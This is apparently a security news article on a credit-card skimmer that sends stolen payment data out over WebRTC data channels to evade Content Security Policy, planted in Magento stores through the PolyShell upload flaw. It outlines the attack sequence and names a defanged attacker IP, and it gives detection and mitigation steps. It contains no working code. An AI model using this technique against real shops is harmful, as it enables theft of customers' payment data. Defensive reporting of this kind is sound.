WebRTC Skimmer Bypasses CSP to Steal Payment Data from E-Commerce

Security researchers at Sansec have identified a payment skimmer that uses WebRTC data channels to exfiltrate stolen credit card information, bypassing Content Security Policy (CSP) protections that would block traditional HTTP-based exfiltration. The attack targeted a major car manufacturer's e-commerce platform and represents a meaningful evolution in how attackers steal payment data from online stores.

How WebRTC Enables the Bypass

Traditional payment skimmers inject JavaScript that captures form data and sends it to attacker-controlled servers via HTTP requests, image beacons, or fetch calls. CSP directives like connect-src are designed to prevent exactly this—blocking connections to unauthorized domains.

The WebRTC approach sidesteps these controls entirely. WebRTC uses DTLS-encrypted UDP connections rather than HTTP, establishing peer-to-peer data channels that don't trigger CSP violations. The skimmer establishes a connection to a hardcoded IP address (202.181.177[.]177) over UDP port 3479, retrieves its payload, and exfiltrates stolen data through the same channel.

"Instead of the usual HTTP requests or image beacons, this malware uses WebRTC data channels to load its payload," Sansec researchers noted. "WebRTC DataChannels run over DTLS-encrypted UDP, not HTTP."

This matters because e-commerce platforms often implement strict CSPs specifically to prevent client-side attacks like Magecart. Sites with mature security postures that would block a traditional skimmer may be completely blind to WebRTC-based exfiltration.

PolyShell: The Entry Vector

The WebRTC skimmer was deployed through PolyShell, a vulnerability affecting Magento Open Source and Adobe Commerce that allows unauthenticated attackers to upload arbitrary executables via the REST API. We covered PolyShell when it emerged, and the mass exploitation that began March 19, 2026 has only accelerated.

Sansec found PolyShell attacks hitting 56.7% of all vulnerable Magento stores, with more than 50 IP addresses participating in scanning activity. The attackers aren't just deploying WebRTC skimmers—traditional skimmers, web shells, and backdoors are all in the mix.

Adobe released a fix in version 2.4.9-beta1 on March 10, 2026, but the patch hasn't reached production releases yet. This creates a window where stores know they're vulnerable but can't apply official patches without running beta code.

The Attack Sequence

The WebRTC skimmer operates as a self-executing script:

1. Script injection via PolyShell or other Magento vulnerability
2. WebRTC peer connection established to attacker IP over UDP 3479
3. Malicious JavaScript payload retrieved through the data channel
4. Payload injected into checkout pages
5. Payment form data captured on submission
6. Exfiltration via the same WebRTC channel—no CSP violation triggered

The encryption provided by DTLS adds another layer of difficulty for network security tools attempting to inspect the traffic. It looks like legitimate WebRTC communication, the kind used for video calls and real-time applications.

Detection and Mitigation

For Magento store operators:

1. Block the custom_options directory — Restrict access to pub/media/custom_options/ where PolyShell payloads land
2. Scan for web shells — Check for unexpected PHP files in upload directories
3. Review JavaScript modifications — Look for injected scripts in checkout templates
4. Monitor WebRTC connections — Legitimate e-commerce sites rarely need WebRTC; unexpected connections warrant investigation
5. Apply patches when available — Adobe's production patch is pending; monitor for release

The car manufacturer targeted in this attack wasn't named, but the incident demonstrates that even well-resourced organizations with security controls in place can fall victim to techniques that circumvent those controls.

Why CSP Isn't Enough

CSP remains valuable, but this attack shows it's not a complete solution for client-side security. The WebRTC bypass joins a growing list of CSP evasion techniques, including DNS prefetch abuse, report-uri manipulation, and nonce reuse attacks.

Defense-in-depth matters. CSP should be one layer among many: subresource integrity for scripts, regular malware scanning, payment page isolation, and behavioral monitoring for suspicious checkout activity. For businesses handling payment data, tools like Greyphish can detect lookalike domains used in credential harvesting, adding another layer of visibility into attacker infrastructure.

The PCI DSS 4.0 requirements that took effect in March 2025 mandate integrity monitoring for payment page scripts. This WebRTC skimmer would modify page behavior in ways that integrity checks should detect—assuming merchants have actually implemented the required controls.

E-commerce attacks continue evolving. The Magecart ecosystem that began with simple JavaScript injections now includes WebRTC channels, service workers, and increasingly sophisticated evasion. Defenders need to evolve alongside them, or accept that their CSP headers are providing a false sense of security.